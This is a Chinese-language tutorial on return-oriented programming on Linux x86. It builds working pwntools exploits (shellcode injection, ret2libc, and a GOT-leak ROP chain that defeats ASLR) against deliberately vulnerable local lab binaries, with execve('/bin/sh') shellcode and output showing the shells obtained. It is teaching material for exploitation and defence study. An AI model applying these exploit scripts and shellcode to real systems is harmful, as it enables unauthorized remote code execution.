一步一步學ROP Linux x86
0x00 序
ROP的全稱為Return-oriented programming(返回導向程式設計),這是一種高階的記憶體攻擊技術可以用來繞過現代作業系統的各種通用防禦(比如記憶體不可執行和程式碼簽名等)。雖然現在大家都在用64位的作業系統,但是想要紮實的學好ROP還是得從基礎的x86系統開始,但看官請不要著急,在隨後的教程中我們還會帶來linux_x64以及android (arm)方面的ROP利用方法,歡迎大家繼續學習。
小編備註:文中涉及程式碼可在文章最後的github連結找到。
0x01 Control Flow Hijack 程式流劫持
比較常見的程式流劫持就是棧溢位,格式化字串攻擊和堆溢位了。通過程式流劫持,攻擊者可以控制PC指標從而執行目的碼。為了應對這種攻擊,系統防禦者也提出了各種防禦方法,最常見的方法有DEP(堆疊不可執行),ASLR(記憶體地址隨機化),Stack Protector(棧保護)等。但是如果上來就部署全部的防禦,初學者可能會覺得無從下手,所以我們先從最簡單的沒有任何保護的程式開始,隨後再一步步增加各種防禦措施,接著再學習繞過的方法,循序漸進。
首先來看這個有明顯緩衝區溢位的程式:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 256);
}
int main(int argc, char** argv) {
vulnerable_function();
write(STDOUT_FILENO, "Hello, World\n", 13);
}
這裡我們用
$ gcc -fno-stack-protector -z execstack -o level1 level1.c
這個命令編譯程式。-fno-stack-protector
-z execstack
這兩個引數會分別關掉DEP和Stack Protector。同時我們在shell中執行:
$ sudo -s
$ echo 0 > /proc/sys/kernel/randomize_va_space
$ exit
這幾個指令。執行完後我們就關掉整個linux系統的ASLR
保護。
接下來我們開始對目標程式進行分析。首先我們先來確定溢位點的位置,這裡我推薦使用pattern.py
這個指令碼來進行計算。我們使用如下命令:
$ python pattern.py create 150
來生成一串測試用的150個位元組的字串:
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9
隨後我們使用$ gdb ./level1
除錯程式。
(gdb) run
Starting program: /home/mzheng/CTF/groupstudy/test/level1
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9
Program received signal SIGSEGV, Segmentation fault.
0x37654136 in ?? ()
我們可以得到記憶體出錯的地址為0x37654136
。隨後我們使用命令:
$ python pattern.py offset 0x37654136
hex pattern decoded as: 6Ae7
140
就可以非常容易的計算出PC返回值的覆蓋點為140個位元組。我們只要構造一個"A" * 140 + ret
字串,就可以讓pc執行ret地址上的程式碼了。
接下來我們需要一段shellcode,可以用msf生成,或者自己反編譯一下。
# execve ("/bin/sh")
# xor ecx, ecx
# mul ecx
# push ecx
# push 0x68732f2f ;; hs//
# push 0x6e69622f ;; nib/
# mov ebx, esp
# mov al, 11
# int 0x80
shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"
這裡我們使用一段最簡單的執行execve ("/bin/sh")
命令的語句作為shellcode。
溢位點有了,shellcode有了,下一步就是控制PC跳轉到shellcode的地址上:
[shellcode][“AAAAAAAAAAAAAA”….][ret]
^------------------------------------------------|
對初學者來說這個shellcode地址的位置其實是一個坑。因為正常的思維是使用gdb除錯目標程式,然後檢視記憶體來確定shellcode的位置。但當你真的執行exp的時候你會發現shellcode壓根就不在這個地址上!這是為什麼呢?原因是gdb的除錯環境會影響buf在記憶體中的位置,雖然我們關閉了ASLR
,但這隻能保證buf的地址在gdb的除錯環境中不變,但當我們直接執行$ ./level1
的時候,buf的位置會固定在別的地址上。怎麼解決這個問題呢?
最簡單的方法就是開啟core dump
這個功能。
$ ulimit -c unlimited
$ sudo sh -c 'echo "/tmp/core.%t" > /proc/sys/kernel/core_pattern'
開啟之後,當出現記憶體錯誤的時候,系統會生成一個core dump檔案在tmp目錄下。然後我們再用gdb檢視這個core檔案就可以獲取到buf真正的地址了。
$./level1
ABCDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)
$ gdb level1 /tmp/core.1433844471
Core was generated by `./level1’.
Program terminated with signal 11, Segmentation fault.
0 0x41414141 in ?? ()
(gdb) x/10s $esp-144
0xbffff290: “ABCD”, ‘A’ <repeats 153 times>, “\n\374\267`\204\004\b”
0xbffff335: “”
因為溢位點是140個位元組,再加上4個位元組的ret地址,我們可以計算出buffer
的地址為$esp-144</code>。通過gdb的命令 <code>x/10s $esp-144
,我們可以得到buf的地址為0xbffff290
。
OK,現在溢位點,shellcode和返回值地址都有了,可以開始寫exp了。寫exp的話,我強烈推薦pwntools
這個工具,因為它可以非常方便的做到本地除錯和遠端攻擊的轉換。本地測試成功後只需要簡單的修改一條語句就可以馬上進行遠端攻擊。
p = process('./level1') #本地測試
p = remote('127.0.0.1',10001) #遠端攻擊
最終本地測試程式碼如下:
#!/usr/bin/env python
from pwn import *
p = process('./level1')
ret = 0xbffff290
shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"
# p32(ret) == struct.pack("<I",ret)
#對ret進行編碼,將地址轉換成記憶體中的二進位制儲存形式
payload = shellcode + 'A' * (140 - len(shellcode)) + p32(ret)
p.send(payload) #傳送payload
p.interactive() #開啟互動shell
執行exp:
$ python exp1.py
[+] Started program './level1'
[*] Switching to interactive mode
$ whoami
mzheng
接下來我們把這個目標程式作為一個服務繫結到伺服器的某個埠上,這裡我們可以使用socat
這個工具來完成,命令如下:
socat TCP4-LISTEN:10001,fork EXEC:./level1
隨後這個程式的IO就被重定向到10001這個埠上了,並且可以使用 $ nc 127.0.0.1 10001
來訪問我們的目標程式服務了。
因為現在目標程式是跑在socat的環境中,exp指令碼除了要把p = process('./level1')
換成p = remote('127.0.0.1',10001)
之外,ret的地址還會發生改變。解決方法還是採用生成core dump的方案,然後用gdb除錯core檔案獲取返回地址。然後我們就可以使用exp進行遠端溢位啦!
$ python exp1.py
[+] Opening connection to 127.0.0.1 on port 10001: Done
[*] Switching to interactive mode
$ id
uid=1000(mzheng) gid=1000(mzheng) groups=1000(mzheng),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare)
0x02 Ret2libc – Bypass DEP 通過ret2libc繞過DEP防護
現在我們把DEP
開啟,依然關閉stack protector
和ASLR
。編譯方法如下:
$ gcc -fno-stack-protector -o level2 level2.c
這時候我們如果使用level1的exp來進行測試的話,系統會拒絕執行我們的shellcode。如果你通過$ sudo cat /proc/[pid]/maps
檢視,你會發現level1的stack是rwx
的,但是level2的stack卻是rw
的。
level1: bffdf000-c0000000 rw-p 00000000 00:00 0 [stack]
level2: bffdf000-c0000000 rwxp 00000000 00:00 0 [stack]
那麼如何執行shellcode呢?我們知道level2呼叫了libc.so,並且libc.so裡儲存了大量可利用的函式,我們如果可以讓程式執行system("/bin/sh")
的話,也可以獲取到shell。既然思路有了,那麼接下來的問題就是如何得到system()
這個函式的地址以及"/bin/sh"
這個字串的地址。
如果關掉了ASLR
的話,system()
函式在記憶體中的地址是不會變化的,並且libc.so中也包含"/bin/sh"
這個字串,並且這個字串的地址也是固定的。那麼接下來我們就來找一下這個函式的地址。這時候我們可以使用gdb進行除錯。然後通過print
和find
命令來查詢system
和"/bin/sh"
字串的地址。
$ gdb ./level2
GNU gdb (Ubuntu/Linaro 7.4-2012.04-0ubuntu2.1) 7.4-2012.04
….
(gdb) break main
Breakpoint 1 at 0x8048430
(gdb) run
Starting program: /home/mzheng/CTF/groupstudy/test/level2
Breakpoint 1, 0x08048430 in main ()
(gdb) print system
$1 = {<text variable, no debug info>} 0xb7e5f460 <system>
(gdb) print __libc_start_main
$2 = {<text variable, no debug info>} 0xb7e393f0 <__libc_start_main>
(gdb) find 0xb7e393f0, +2200000, "/bin/sh"
0xb7f81ff8
warning: Unable to access target memory at 0xb7fc8500, halting search.
1 pattern found.
(gdb) x/s 0xb7f81ff8
0xb7f81ff8: "/bin/sh"
我們首先在main
函式上下一個斷點,然後執行程式,這樣的話程式會載入libc.so到記憶體中,然後我們就可以通過print system
這個命令來獲取system函式在記憶體中的位置,隨後我們可以通過print __libc_start_main
這個命令來獲取libc.so在記憶體中的起始位置,接下來我們可以通過find命令來查詢”/bin/sh”這個字串。這樣我們就得到了system
的地址0xb7e5f460
以及"/bin/sh"
的地址0xb7f81ff8
。下面我們開始寫exp:
#!/usr/bin/env python
from pwn import *
p = process('./level2')
#p = remote('127.0.0.1',10002)
ret = 0xdeadbeef
systemaddr=0xb7e5f460
binshaddr=0xb7f81ff8
payload = 'A'*140 + p32(systemaddr) + p32(ret) + p32(binshaddr)
p.send(payload)
p.interactive()
要注意的是system()
後面跟的是執行完system
函式後要返回地址,接下來才是"/bin/sh"
字串的地址。因為我們執行完後也不打算幹別的什麼事,所以我們就隨便寫了一個0xdeadbeef
作為返回地址。下面我們測試一下exp:
$ python exp2.py
[+] Started program './level2'
[*] Switching to interactive mode
$ whoami
mzheng
OK。測試成功。
0x03 ROP– Bypass DEP and ASLR 通過ROP繞過DEP和ASLR防護
接下來我們開啟ASLR
保護。
$ sudo -s
$ echo 2 > /proc/sys/kernel/randomize_va_space
現在我們再回頭測試一下level2的exp,發現已經不好用了。
$ python exp2.py
[+] Started program './level2'
[*] Switching to interactive mode
[*] Program './level2' stopped with exit code -11
[*] Got EOF while reading in interactive
如果你通過$ sudo cat /proc/[pid]/maps</code>或者<code>$ ldd
檢視,你會發現level2的libc.so地址每次都是變化的。
$ cat /proc/[第1次執行的level2的pid]/maps
b759c000-b7740000 r-xp 00000000 08:01 525196 /lib/i386-linux-gnu/libc-2.15.so
b7740000-b7741000 ---p 001a4000 08:01 525196 /lib/i386-linux-gnu/libc-2.15.so
b7741000-b7743000 r--p 001a4000 08:01 525196 /lib/i386-linux-gnu/libc-2.15.so
b7743000-b7744000 rw-p 001a6000 08:01 525196 /lib/i386-linux-gnu/libc-2.15.so
$ cat /proc/[第2次執行的level2的pid]/maps
b7546000-b76ea000 r-xp 00000000 08:01 525196 /lib/i386-linux-gnu/libc-2.15.so
b76ea000-b76eb000 ---p 001a4000 08:01 525196 /lib/i386-linux-gnu/libc-2.15.so
b76eb000-b76ed000 r--p 001a4000 08:01 525196 /lib/i386-linux-gnu/libc-2.15.so
b76ed000-b76ee000 rw-p 001a6000 08:01 525196 /lib/i386-linux-gnu/libc-2.15.so
$ cat /proc/[第3次執行的level2的pid]/maps
b7560000-b7704000 r-xp 00000000 08:01 525196 /lib/i386-linux-gnu/libc-2.15.so
b7704000-b7705000 ---p 001a4000 08:01 525196 /lib/i386-linux-gnu/libc-2.15.so
b7705000-b7707000 r--p 001a4000 08:01 525196 /lib/i386-linux-gnu/libc-2.15.so
b7707000-b7708000 rw-p 001a6000 08:01 525196 /lib/i386-linux-gnu/libc-2.15.so
那麼如何解決地址隨機化的問題呢?思路是:我們需要先洩漏出libc.so某些函式在記憶體中的地址,然後再利用洩漏出的函式地址根據偏移量計算出system()
函式和/bin/sh
字串在記憶體中的地址,然後再執行我們的ret2libc
的shellcode。既然棧,libc,heap的地址都是隨機的。我們怎麼才能洩露出libc.so的地址呢?方法還是有的,因為程式本身在記憶體中的地址並不是隨機的,如圖所示:
Linux記憶體隨機化分佈圖
所以我們只要把返回值設定到程式本身就可執行我們期望的指令了。首先我們利用objdump來檢視可以利用的plt函式和函式對應的got表:
$ objdump -d -j .plt level2
Disassembly of section .plt:
08048310 <read@plt>:
8048310: ff 25 00 a0 04 08 jmp *0x804a000
8048316: 68 00 00 00 00 push $0x0
804831b: e9 e0 ff ff ff jmp 8048300 <_init+0x30>
08048320 <__gmon_start__@plt>:
8048320: ff 25 04 a0 04 08 jmp *0x804a004
8048326: 68 08 00 00 00 push $0x8
804832b: e9 d0 ff ff ff jmp 8048300 <_init+0x30>
08048330 <__libc_start_main@plt>:
8048330: ff 25 08 a0 04 08 jmp *0x804a008
8048336: 68 10 00 00 00 push $0x10
804833b: e9 c0 ff ff ff jmp 8048300 <_init+0x30>
08048340 <write@plt>:
8048340: ff 25 0c a0 04 08 jmp *0x804a00c
8048346: 68 18 00 00 00 push $0x18
804834b: e9 b0 ff ff ff jmp 8048300 <_init+0x30>
$ objdump -R level2
//got表
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08049ff0 R_386_GLOB_DAT __gmon_start__
0804a000 R_386_JUMP_SLOT read
0804a004 R_386_JUMP_SLOT __gmon_start__
0804a008 R_386_JUMP_SLOT __libc_start_main
0804a00c R_386_JUMP_SLOT write
我們發現除了程式本身的實現的函式之外,我們還可以使用read@plt()
和write@plt()
函式。但因為程式本身並沒有呼叫system()
函式,所以我們並不能直接呼叫system()
來獲取shell。但其實我們有write@plt()
函式就夠了,因為我們可以通過write@plt ()
函式把write()
函式在記憶體中的地址也就是write.got
給打印出來。既然write()
函式實現是在libc.so當中,那我們呼叫的write@plt()
函式為什麼也能實現write()功能呢? 這是因為linux採用了延時繫結技術,當我們呼叫write@plit()
的時候,系統會將真正的write()
函式地址link到got表的write.got
中,然後write@plit()
會根據write.got
跳轉到真正的write()
函式上去。(如果還是搞不清楚的話,推薦閱讀《程式設計師的自我修養 - 連結、裝載與庫》這本書)
因為system()
函式和write()
在libc.so中的offset(相對地址)是不變的,所以如果我們得到了write()
的地址並且擁有目標伺服器上的libc.so就可以計算出system()
在記憶體中的地址了。然後我們再將pc指標return回vulnerable_function()
函式,就可以進行ret2libc溢位攻擊,並且這一次我們知道了system()
在記憶體中的地址,就可以呼叫system()函式來獲取我們的shell了。
使用ldd命令可以檢視目標程式呼叫的so庫。隨後我們把libc.so拷貝到當前目錄,因為我們的exp需要這個so檔案來計算相對地址:
$ldd level2
linux-gate.so.1 => (0xb7781000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75c4000)
/lib/ld-linux.so.2 (0xb7782000)
$ cp /lib/i386-linux-gnu/libc.so.6 libc.so
最後exp如下:
#!/usr/bin/env python
from pwn import *
libc = ELF('libc.so')
elf = ELF('level2')
#p = process('./level2')
p = remote('127.0.0.1', 10003)
plt_write = elf.symbols['write']
print 'plt_write= ' + hex(plt_write)
got_write = elf.got['write']
print 'got_write= ' + hex(got_write)
vulfun_addr = 0x08048404
print 'vulfun= ' + hex(vulfun_addr)
payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(got_write) + p32(4)
print "\n###sending payload1 ...###"
p.send(payload1)
print "\n###receving write() addr...###"
write_addr = u32(p.recv(4))
print 'write_addr=' + hex(write_addr)
print "\n###calculating system() addr and \"/bin/sh\" addr...###"
system_addr = write_addr - (libc.symbols['write'] - libc.symbols['system'])
print 'system_addr= ' + hex(system_addr)
binsh_addr = write_addr - (libc.symbols['write'] - next(libc.search('/bin/sh')))
print 'binsh_addr= ' + hex(binsh_addr)
payload2 = 'a'*140 + p32(system_addr) + p32(vulfun_addr) + p32(binsh_addr)
print "\n###sending payload2 ...###"
p.send(payload2)
p.interactive()
接著我們使用socat
把level2繫結到10003埠:
$ socat TCP4-LISTEN:10003,fork EXEC:./level2
最後執行我們的exp:
$ python exp3.py
[+] Opening connection to 127.0.0.1 on port 10003: Done
plt_write= 0x8048340
got_write= 0x804a00c
vulfun= 0x8048404
###sending payload1 ...###
###receving write() addr...###
write_addr=0xb76f64c0
###calculating system() addr and "/bin/sh" addr...###
system_addr= 0xb7656460
binsh_addr= 0xb7778ff8
###sending payload2 ...###
[*] Switching to interactive mode
$ whoami
mzheng
0x04 小結
本章簡單介紹了ROP攻擊的基本原理,由於篇幅原因,我們會在隨後的文章中會介紹更多的攻擊技巧:如何利用工具尋找gadgets,如何在不知道對方libc.so版本的情況下計算offset;如何繞過Stack Protector等。歡迎大家到時繼續學習。另外本文提到的所有原始碼和工具都可以從我的github下載:
https://github.com/zhengmin1989/ROP_STEP_BY_STEP
0x05 參考文獻
- The geometry of innocent flesh on the bone: return-into-libc without function calls (on the x86)
- 程式設計師的自我修養
- ROP輕鬆談